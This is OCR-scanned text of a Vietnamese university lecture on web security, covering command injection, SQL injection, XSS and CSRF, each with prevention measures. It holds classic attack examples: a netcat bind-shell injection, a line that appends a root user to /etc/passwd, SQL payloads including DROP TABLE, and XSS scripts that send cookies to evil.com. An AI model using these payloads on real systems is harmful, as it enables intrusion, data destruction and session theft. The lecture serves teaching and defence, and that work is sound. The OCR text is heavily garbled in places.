BAI 9.

AN TOAN DICH VU WEB
SQL INJECTION, XSS, CSRF

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

]
No&i dung

- Téng quan vé hoat dong cla dich vu Web
- TAn céng dang Command Injection

- SQL Injection

- XSS

- CSRF

- Quan ly phién




1. TAN CONG DANG COMMAND
INJECTION

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

Command Injection

- Loi dung 16 hdng khoéng kiém soat gia tri cac dbi sé khi
thwe thi kich ban (servlet) trén web server
»Khéng phan biét dwoc di liéu va ma nguén trong déi sb
- Vi du: Website chira servlet cung cp tinh néng tinh toan
biéu thirc bat ky qua ham eval()

http://site.cgm/ca’lc.php . %in - §_GETlexp';
NQI du’ng ’bleu thire dU’Q’C truyen eval('$ans = ' . $in . ;');
qua doi sO exp. Vi du:
http://site.com/calc.php?exp=1+1
+ Servlet thwc thi nhw thé ndo néu truyén déi sé6 nhu sau:
http://site.com/calc.php?exp=“10 ; system(‘rm *.*’)”




]
Command Injection — Vi du khac

1. http://site.com/exec/
I

1
2. Send page

Ping for FREE

Enter an IP address below:

| | submit |

<h2>Ping for FREE</h2>

<p>Enter an IP address below:</p>

<form name="ping" action="#" method="post">
<input type="text"ize="39">
<input type="submit" value="submit" name="submit”>

</form> 5

]
Command Injection — Vi du khac

Server

Send output

$t = $_REQUEST['ip'];
$0 = shell_exec(‘ping -C 3. $t);
echo $o

<h2>Ping for FREE</h2> PHP exec program

<p>Enter an IP address below:</p>

<form name="ping" action="#" method="post">

<input type="text"| name="ip" |size="30">

<input type="submit" value="submit" name="submit”>

</form> 6




]
Command Injection — Vi du khac

| ¥
Client Server
t |
2. Send page
§t = $_REQUEST['ip'];
$0 = shell_exec(‘ping -C 3’ . $t);
echo $o
Ping for FREE
Enter an IP address below: PHP exec program

| submit

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp reg=1 ttl=64 time=0.015 ms
64 bytes from 127.0.0.1: icmp reg=2 ttl=64 time=0.023 ms
64 bytes from 127.0.0.1: icmp reg=3 ttl=64 time=0.030 ms

-=-=- 127.0.0.1 ping statisticg ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.015/0.022/0.030/0.008 ms 7

]
Command Injection — Vi du khac

! 127.0.0.1;ls v
4 |
2.Send page
Ping for FREE $t - $ REQUEST[ip’];
Enter an IP address below: $o = shell_exec(‘ping -C 3’. $t);
I| I | submit | echo $o

PING 127.0.0.1 (127.0.0.1) 56(84) bytes o dtd.
64 bytes from 127.0.0.1: icmp_reg=1 ttl=64 time=0.0. PHP exec program
64 bytes from 127.0.0.1: icmp reg=2 ttl=64 time=0.0)o ms
64 bytes from 127.0.0.1: icmp reg=3 ttl=64 time=0.025 ms

—== 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
minlaugimax/mdev = 0.018/0.020/0.025/0.006 ms

help
index.php

source




]
Command Injection — Vi du khac

« Thwc thi shell

ip=127.0.0.1+%26+netcat+-v+-

e+'/bin/bash'+-1+-p+31337&submit=submit

netcat -v -e ‘/bin/bash’ -1 -p 31337

]
Command Injection — Vi du khac

- M& PHP dé glvi email:

$email = $_POST[“email”]
$subject = $_POST["subject”]
system(“mail $email —s $subject < /tmp/joinmynetwork”)

- Chén ma thuec thi khi truyén gia tri cho dbi sé:

http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; Is

- Hoac

http://yourdomain.com/mail.php?
email=hacker@hackerhome.net&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; Is

10
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Phong chdng

- Kiém tra, chi chap nhan gia tri chtra cac ky tw
hop 1€
~ Ky tw nao la hop 1é?->Phu thuéc nglr canh

- Lam sach dau vao (input sanitization): Xac dinh cac
ky tw dac biét khdng nén xuat hién
»>Thém dau ‘\’ dat trwdc cac ky tw dac biét
»X0a cac ky tw dac biét
»Cé thé vuot qua nhw thé nao

- Céach tét hon: khéng cho cac ham c6 qua nhiéu
quyén thwce thi néu cé thé va phan tach tham sé
can thiét tir gia tri du vao

1"

/("]
Phong chéng — Vi du

// Get input
$target = $_REQUEST[ 'ip' I;

// Split the IP into 4 octects
Soctet = explode( ".", S$Starget );

// Check IF each octet is an integer

if ((is_numeric(Soctet[0])) && (is_numeric(Soctet[1])) &&
(is_numeric((octet[2])) && (is_numeric( Soctet[3])) &&
(sizeof (Soctet) == 4)) {
// If all 4 octets are int's put the IP back together.
Starget = Soctet([0] . '.' . Soctet([l] . '.' . Soctet[2] . '.' .
Soctet [3];

//call shell exec()
}
else {
// Ops. Let the user name theres a mistake
Shtml .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}

12
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SQL Injection

- Muc tiéu: cac website sir dung CSDL quan hé SQL

- L& hdng SQL Injection: khdng kiém soat gia tri d6i sb
truyén cho cac servlet khi thyc hién cac truy van CSDL
»Web server khéng ‘phén biéjt dup’c céac ky tw 1a clia cau truy van

hay cla gia tri truyén cho doi s

- Cach thirc chung: chén cac ky tw dac biét hoac cau lénh
SQL vao gia tri tham sb d4u vao dé thay dbi y nghia cla
cau truy van CSDL

- Két qua:
»Boc di¥ liéu khdong dwoc phép trong CSDL
~Slra d6i trai phép
> Thuc thi ma tan cong t xa

13
Kich ban tan céng SQLi
“a Victim Server
o cn -
G e 5 oL
i . Thuc hién
@ Tra lai diT liéu nam cau truy
Attacker ngoai du kién van ndm
g NgOQI du
= ki€n
Victim SQL DB
14




/""" 0]
Tan cong SQLi — Vi du

- Xem xét doan ma PHP sau:
$user = $_POST[ ‘recipient’];
$sql = "SELECT AcctNum FROM Customer WHERE
Balance < 100 AND Username="$recipient™;
$rs = $db->executeQuery($sql);
- Gia st dbi sb dwoc truyén nhw sau “?recipient=Bob” cau
truy van dwoc web server chuyén cho DBMS dé thyc thi
nhw sau:

SELECT AcctNum FROM Customer WHERE Balance < 100
AND Username="'Bob’

- Két qua nao duwoc trd vé véi truy van sau:
SELECT AcctNum FROM Customer WHERE True

15

/""" 0]
Phan tich truy van trén cay cu phap

[ﬁzctNum ]

{ Customer

[ Batance | [ 100 | [usemame] [ ‘Bob J

Két qua truy van: Sé tai khoan cua tat ca khach hang cé6
sb6 dw dwéi 100$ va tén khach hang 1a Bob

16




r—— +'"200 ]
Tan céng SQLi — Vi du (tiép)

- Xem xét doan ma PHP sau:
$recipient = $_GET['recipient];
$sql = "SELECT AcctNum FROM Customer WHERE
Balance < 100 AND Username="$recipient™;
$rs = $db->executeQuery($sql);
- Diéu gi xay ra néu doi s6 duoc truyén gia tri lam thay doi
y nghia cla cau truy van

Vi du truyén vao mét gid tri d3c biét ‘recipient’ d€ doc toan bd
danh sach khach hang

17

/7
Tautology-based SQLi

- Thay ddi y nghia cta biéu thirc quan hé trong ménh dé
kiem tra.
- Truyén dbi sb nhu sau:
?recipient=anyone’ OR 1 = 1;#
- Cau truy van duoc thyc thi:

SELECT AcctNum FROM Customer WHERE Balance < 100
AND Username="anyone’ OR 1 = 1§#' )

. . D4u # bao hiéu doan
- Biéu thirc diéu kién tré thanh chu thich >bd qua

WHERE Balance < 100 AND Username=‘anyone’ OR 1 =1
lubn tra vé gia tri TRUE

18




]
Cay cu phap

[ﬁzctNum ]

L
[Ealance ] L1oo ][UiernameJ [jnyone' ]

19

]
M6t s6 ky thuat khai thac SQLI

- Ménh d& ORDER BY sap xé&p két qua theo mot cot nao
do duoc liét ké trong ménh dé SELECT
- Str dung ménh dé ORDER BY cho phép doan sé cot
dwoc liét ké trong truy van
»~Néu STT cla cot < sb cot liét ké trong truy van: thwe hién thanh
cong
»Nguoc lai tra vé théng bao 16i
- Str dung ménh d& ORDER BY dé doan tén cot CSDL
trong cau truy van:
»Néu tén cot trong ménh dé trung véi tén cot trong truy van: thuc
hién thanh céng
»Nguwoc lai, tra vé théng béo 16

Thong bo I8i co thé dé 1o thong tin v& CSDLI

10
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M6t s ky thuat khai thac SQLi(tiép)

- Ménh @& UNION cho phép gop két qua cta cac truy van

- Yéu cau: cac ménh dé SELECT phai c6 cung sb cét, cling
kidu di liéu (hodc c6 thé chuyén déi ndu kidu di lidu
khac nhau)

- Dung ménh d& UNION cho phép:
»Xac dinh s6 cot trong ménh dé& SELECT (twong tw ORDER BY)
»BDoan tén bang, doan tén cot (twong tw ORDER BY)
»Kiém tra kiéu di liéu
»Trich xuét di¥ liéu trai phép

> Thuc hién tat ca nguy co trén dbi véi CSDL khac néu cé 16 héng
phan quyén trén DBMS

Théng béo 18i c6 thé dé 16 thong tin v& CSDL!!!

21

/"]
M6t s6 ki thuat khai thac SQLi(tiép)
- Str dung Batched Query (con dwgc goi la query stack)

- Loii dung kha nang hé tro thwe thi nhiéu cau truy van cung
lic ctia mét s6 ngdbn nglr va hé quan tri CSDL

Support ASP ASP.NET |PHP
MySQL Yes
PostgreSQL |Yes Yes Yes
MS SQL Yes Yes Yes

Lwu y: Ngay ca khi ngén ngtr va hé quan tri CSDL
khéng hé trg, van cé thé khai thac bang ménh dé

UNION -

11
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Batched Query — Vi du

- Truyén dbi sb nhu sau:
?recipient=anyone’; DROP TABLE Customer --
- Cau truy van duoc thyc thi:
SELECT AcctNum FROM Balance < 100

AND Username="any&qe’; DROP TABLE Customer

Chén cau lénh SQL khac dé
can thiép stra d6i CSDL

Tham chi co thé chén vao mét doan ma thwc thi
kich ban hé thong (shell code)

23

]
Blind SQLi

- Trong mét sb trwdng hop, hé thdng khéng tra lai théng
bao 16i khi thwc thi cau 1énh SQL
- D& khai thac céac 16i dang nay, co thé st dung 2 k¥ thuat:

~Boolean based Blind SQLi: st dung cac cau truy van tra vé
True/False

»~ Time-based Blind SQLi: kiém tra thoi gian thuce thi cau truy van
- Can méat nhiéu thoi gian dé khai thac 16i Blind SQLi >
thwong str dung cac céng cu ho tro (Vi du: sqgimap)

24
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Blind SQLi

- Vidu 1: Boolean-based Blind SQLi

Pé tim théng tin phién ban ctia CSDL, chén 161 goi ham
vao cau truy van:

and substring(version(),1,1)=c;#

Thay i la vi tri ky tw can kiém tra, c la gia tri can so sanh
- Time-based Blind SQLi

»MySQL: sleep(), benchmark()
»MS SQL: waitfor delay

25

Vi du: Time-based Blind SQLi — MS SQL

@ if ASCII(SUBSTRING(username,1,1)) l

= 65 waitfor delay ‘0:0:5’

(2) if ASCII(SUBSTRING(username,1,1))
= 65 waitfor delay ‘0:0:5

|

Néu ky tw d4u tién cia username la ‘A’

(65), 1am tré 5 giay

26
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Vi du: Time-based Blind SQLi — MySQL

@ if(substring(version(),1,1)=1, BENCHMARK
5000000,ENCODE(‘a’/b")), null)

if(substring(version(),1,1)=1, BENCH
5000000,ENCODE(‘a’,/'b")), null)

ARK(

|

Néu ky tw d4u tién ctia phién ban la 1,

thwc hién 5000000 Ian ham ENCODE()

27

Phong chong SQLI — Lam sach dau vao
- Thém ky ty ‘\’ vao trudc dau nhay ‘...” hoac “...”
- PHP: addslashes(“* ' or 1 =1 -- 7)
Paura: “\’ or 1=1 -- "’
- Han ché: tAn céng dwa vao ma Unicode ctia mot s6 ky tw

dac biét(GBK charset) 5 \
$user = Ox bf 27 Ox g -
addslashes($user) oxbf27 — ¢'

. L=
Daura.Ox@ﬂ% ox bf 5¢ —

- Twong ty: mysqgl real escape string()

28
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Phong chdong SQLI

- Hau hét cac ngén ngir 1ap trinh, DBMS hé tro’ kiém soat
cac tham s trong cau truy van >khong hiéu 1am gia tri
tham sé va ma thuc thi.

- Vi du: PHP va MySQL

$dbh = new mysqli(...);

$stmt = $dbh->prepare("SELECT AcctNum FROM Customer WHERE
Balance < 100 AND Username= ?");

$recipient = $_GET['recipient’];

$stmt->bind_param("'s”, $recipient); .
$stmt->execute(); Tk s: tham s6 kiéu xau ky tw

) ' . i: tham s6 kiéu s6 nguyén
- PHP: PHP Data Object d: tham sb kiéu sé thuc

- Java, C#,...: SU dung ORM framewor

29
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Cay cu phap truy van SQL

[ﬁ:ctNum ]

[Customer

 Batance | [ 100 | [Usemame]

30
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Cay cu phap truy van SQL
?recipient=anyone’ OR 1 =1 --
$stmt->bind_param(“'s”, $recipient);

[ﬁ:ctNum ]

[Customer

[Ealance ] L 100 ] &sername] [anyone’ OR1=1 --]

31

2. TAN CONG DANG CROSS SITE
SCRIPTING (XSS)

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

32
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Tan céng XSS (Cross Site Scripting)

- L6 héng XSS: trng dung web khong kiém soat sy c6 mat clia
ma thuwc thi trai phép trong gia tri tham sé dau vao va/hoac
trong két qua tra vé trén thong diép HTTP Response

- Tan cong XSS: lgi dung 16 héng XSS dé chén ma thuc thi vao
trang web do Web server sinh ra.

- Hau qua: trinh duyét cia ngui dung thong thuwdng thwe thi ma
ddc nam trong thong diép HTTP Response nhan duoc tir web
server. Viéc thuc thi nay c6 thé vwot qua chinh sach SOP

- C6 thé thyc hién twong tw trén cac dich vu email, trinh doc file
PDF

- Cac phwong phép chén ma thyec thi:

> Reflected XSS
» Stored XSS
»>DOM-based XSS

]
Tan cdng Reflected XSS

tan ¢

- K&
/ Attack Server
ca )
web .
Victim Client 7 6QC v & evil.com
V4

(5) Trinh
duyét thyc
thi ma doéc

Victim Server

victim.com

34




/""" 0]
Tan coéng Reflected XSS - Vidu

- Gia st trén website clia muc tiéu cung cép tinh ndng tim
kiém.
http://victim.com/search.php?term=

- Doan ma thwc thi trén server nhuw sau:
<HTML> <TITLE> Search Results </TITLE>

<BODY>
Results for <?php echo $_GET[term] ?>:

</BODY> </HTML>

35

/("0 ]
Tan cong Reflected XSS - Vi du (tiép)

- Ngwoi ding tai mot trang web tir server cua ke tan cong
chwa dwdng dan sau

http://victim.com/search.php?term=<script>
document.location=‘http://evil.com/’ +
document.cookie)</script>

- Diéu gi xay ra khi nguwdi dung nhap vao dwdng dan trén?
- Né tranh dwoc chinh sach SOP

36




http://www.victim.com/search.php?
term=%3Cscript%3Edocument.location="evil.

@ com/’ +document.cookie;%3C/script%3E
—

“Check out this link!”

http://www.victi
Session token ctia ngwoi dung trén m.com/search.ph

o 5 ?
victim.com p: ,
term=%3Cscript

%3Edocument.loc

evil.com/f9geiv33knv141 ation="evil.com/’
+document.cookie

HTTP ;%3C/script%3E
Response
chira ma thuc
thi da truyén
LERER

CeE victim.com
EURZT)

evil.com

37

Tan coéng Stored XSS

Attack Browser/Server

(1)Chén ma
doc vao CSDL
clia muc tiéu

(4)Trinh duyét
thwe thi ma
doc

bank.com

38




Session token cia nguoi
dung trén victim.com

&Vil.com/f9geiv3 3knv141

evil.com

Comment with text:
<script>document.location = “evil.com/” +

Posts comment with text: document.cookie</script>

<script>document.location = “evil.com/” +
document.cookie</script>

Tan coéng Stored XSS — Vi du

- TAn céng vao myspace.com nam 2007 dé phat tan sau
Samy
- Myspace cho phép ngw¢i dung dang bai dw¢i dang ma
HTML.:
» Kiém soat, khéng cho phép nhing Javascript vao cac thé
<script>, <body>, onclick, <a href=javascript://>
»Nhuwng khéng kiém soat viéc nhang vao thé CSS:
<div style=“background:url (‘javascript:alert(l)’)”>
~Hoac an twr khéa “javascript” thanh “java\nscript”
- Khi sdu Samy duwgc thuc thi, tai khoan ngwoi dung ty déng
két ban véi tai khoan cé tén Samy
»Trong 24 gi&, Samy c6 hang triéu ban bé

40
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Stored-XSS st dung anh

- L&itrén IE (IE9 tr& vé trwdc)

- File anh chira ma HTML, Javascript

- Yéu ciu t&i file anh sé duoc tra vé thong diép HTTP
Response

HTTP/1.1 200 OK
ébntent-Type: image/jpeg

<html> <script> ... </script> </html>

- |E hién thi ndi dung HTML bt ké gia tri cla trudng
Content-Type

LY

/""" 0]
Tan cong DOM-based XSS

- L6 héng: trinh duyét duoc phép thuc thi script dwoc
nhung trong doi twgng DOM cua trang web dang hién thi
- Khéng thé phat hién dwoc tai server

42
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DOM-based XSS - Vidu

- Trang c6 16 hong

<HTML><TITLE>Welcome!</TITLE>

Hi <SCRIPT>

var pos = document.URL.indexOf ("name=") + 5;
document.write (document.URL. substring (pos,document.URL.1
ength)) ;

</SCRIPT>

</HTML>

- Yéu cau théng thudng
http://www.example.com/welcome.html?name=Joe
- Nhung ma thwc thi
http://www.example.com/welcome.html?name=
<script>alert (document.cookie)</script>

43

Phong chdng tan cdng XSS phia server

- Open Web Application Security Project (OWASP)

- Kiém tra can than HTTP header, cookie, truy van, cac
trwong an

- Khéng nén cb gang nhan dang, loai trir, loc, lam sach cac
doi twong

. N,én st dung cac chinh sach dang “positive” liét ké nhirng
doi twong, hanh vi duwgc phép, thay vi cac chinh sach
dang “negative”

- Kiém tra gia tri dau vao do client cung cap

- Tw ghéi[sﬂ’ dung cac bé ma cho cac ky tw dac biét voi
chudi dau ra. Vi du dung &lt cho ‘<‘, &gt cho >’, &quot
cho “...

44




Chu y: Ma Javascript co thé chén vao
nhiéu vi tri khac nhau trén trang web

- Str dung ma Javascript nhw mét URI
<img src="javascript:alert(document.cookie);"”>

- Chén ma Javascript vao cac thudc tinh cua
phwong thire xtir ly sw kién (OnSubmit, OnError,
OnLoad, ...)

- Mot s6 vi du:

» <img src="none” OnError="alert(document.cookie)">

» <iframe src="https://bank.com/login” onload="alert(document.cookie)">

» <form> action="logon.jsp" method="post"
onsubmit="hackImg=new Image;
hackImg.src="http://www.digicrime.com/'+document.for
ms(1).login.value'+":'+
document.forms(1).password.value;" </form> 45

Phong chdng XSS phia server

- St dung b6 loc chudi gia tri dau ra dé loai cac ky
tw nhay cam:
»Hay can than véi cac meo vuot qua bd loc
»Hay loc nhiéu 1an cho t&i khi loai hét cac tr khoa
»Vidu: loc 1 14n chudi <script
v<scriptsrc="“.." > src="."
v'Nhwng <scr<scriptipt src = “...” = <script src = “...”
- Mét sb cong cu khac: Dynamic Data Tainting,
Static Analysis

46
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Phong chdng tan cdng XSS phia server

- https://www.owasp.org/index.php/XSS_Filter_Evasion_Ch
eat_Sheet

- https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip
ting)_Prevention_Cheat_Sheet

- https://www.owasp.org/index.php/DOM_based_XSS_Prev
ention_Cheat_Sheet

47

3. TAN CONG DANG CROSS SITE
REQUEST FORGERY

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

48
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Tan cong CSRF

- Loi dung hiéu (rng bén (side effect) dé tao ra cac HTTP
Request trai phép.
~Hiéu (rng bén (side effect): trong qua trinh hién thj (render) trang
web, trinh duyét c6 thé tw déng truy cap dén tai nguyén nhirng
lién két khac ma khéng duoc kiém soat.
Vi du: <img height=0" width="0" src="http://eBank.com/withdraw?
account=bob_id&amount=1000000&for=Alie_ id"/>
- Thuworng két hop khai thac cac 16 héng khong kiém soat
viéc lwu gilr va truy cap cookie trén trinh duyét
- Lwu y: tAn cong CSRF khéac tAn cong XSS

49
Kich ban tan cong CSRF
Server Victim
@ vt .
L cay ral pnép
@ gt yeu cau < ooKe)
50
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Tan céng CSRF — Vi du

Ngwoi dung dang nhap trén website bank.com va thyc
hién mét giao dich chuyén tién
Trinh duyét lwu cookie cia phién lam viéc(gdm cac théng tin ngudi
dung da xac thwe véi ngan hang)
Ngwoi dung truy cap vao moét trang web chira doan ma
doc(Vi du attacker.com):
<form name=F action=http://bank.com/BillPay.php>
<input name=recipient value=attacker> ...
<script> document.F.submit(); </script>
Khi hién thi trang web, trinh duyét tao mt HTTP Request
v&i cookie & trén dé thuc thi giao dich chuyén tién cho
attacker

51

Tan cong CSRF — Vi du

w‘
\ bank.com
/transfer?amount=500&dest=Bob I

evil.com

Kiém tra session token
Chuyén $500 t&i Bob

52
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Tan cong CSRF Vidu

/transfer?amount=10000&dest=evilcorp
\ bank.com
<img src=“http://bank.com/ I

transfer?amount=10000&id=evilcorp”>

evil.com

I /
$10000

Kiém tra session token
Gri $10000 t&i EvilCorp

53

Tan céng CSRF — Vi du

“Drive-By Pharming”, Sid Stamm, Zulfikar Ramzan,
Markus Jakobsson, ICICS'07
Céc thiét bi router phuc vu cho gia dinh/van phong nhd
cho phép céu hinh qua giao dién Web
Nguoi dung can dang nhap. Tuy nhién hau hét dung tai khoan mac
dinh ctia nha san xuat
Tén coéng Drive-by Pharming:
Ngu&i dung truy cap vao website chira ma déc
Mot Javascript quét va tim dia chi router
St dung Javascript dé phat hién hang sén xuét va tén san pham
(thwdng thé hién qua logo)
Login va stra théng s cau hinh qua phwong thirc GET trén URL

54
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Phong chdng tan cong CSRF

- Kiém tra trwong Referer
=
- Kiém tra gia tri an:

<input type=hidden value=23a3af@1lb>

- St dung xac thuwc da yéu td, capcha
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Kiém tra trwdng Referer

- Trwdng Referer ghi nhan dia chi phat sinh thong diép
HTTP Request. Vi du:

Referer: http://bank.com/ \/
Referer: http://evil.com/index.html X
- Han ché:

»L0 thong tin ca nhan, lich s& duyét Web cla nguwdi dung
» Trwerng Referer cé thé bi loai bd theo nhiéu cach(chinh sach cia
firewall, trinh duyét) > khéng thé quyét dinh chan hodc khéng chan
~Khéng gil dia chi gbc khi chuyén hwéng (redirect)
- Giai phap: str dung treong Origin
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evil.com

Kiém tra gia tri an

Browser
/banking/index.php
name=

/banking/index.

v

/banking/index.

i Ut tpr:“hidden‘ 3
<1np “token” Value: ‘ethA >

bank.com

token = e1th5AW

php?token= e .
5Aw&amount=100&dest=30bn elh, |Gia tri token hop I8

Chép nhan yéu ciu

token = ogQ51k2

php?token= ia tri 3
123&amount=1004 p en=abc Gia trj token khéng

dest=Attacker hop 1é

T chéi yéu cau
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Phong chdng tan cdng CSRF phia server

- https://www.owasp.org/index.php/Cross-

Site_Request_Forgery (CSRF)_Prevention_Cheat_Sheet
- https://www.owasp.org/index.php/Reviewing_code_for_Cr

oss-Site_Request_Forgery_issues
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Téng két

- Command Injection:
»Chén ma doc vao gia tri ddu vao dé thuc thi trén server
- SQL Injection:

»Chén truy van SQL vao gia tri dau vao dé truy cap CSDL trai phép
trén server

- CSRF:
»Loi dung hiéu ng bén (site effect) d& g&ri cac HTTP Request doc
hai tt trinh duyét clia ngwéi dung
- XSS
»Chén ma doc vao gia tri diu vao va loi dung két qua server tra vé
dé thue thi trén client

59

/']
MGt s6 bién phap phong chong trén web
server

- Kiém tra can than HTTP header, cookie, thé bai

- Kiém tra can than gia tri dau vao, két qua tra vé

- St dung cac céng cu kiém thir black box

- Str dung cac cong cu quét ma doc: Google Analytic,
Norton Safe Web...

- Theo d&i va cap nhat day di cac ban va bao mat

- Str dung firewall dich vu web: Apache Mod Security,

Imperva SecureSphere Web Application Firewall, Check
Point Web Security...
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Nguwdi dung dwoc bdo vé nhw thé nao?

| Reported Attack Site!

/eb site at ww! m has been reported as an
and has been blocked based on your security

Get me out of here! | | Why was this site blocked?
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Bai gidng s dung mot s6 hinh vé va vi du tir cac bai
giang:

- Computer and Network Security, Stanford University
- Computer Security, Berkeley University

- Introduction to Computer Security, Carnegie Mellon
University
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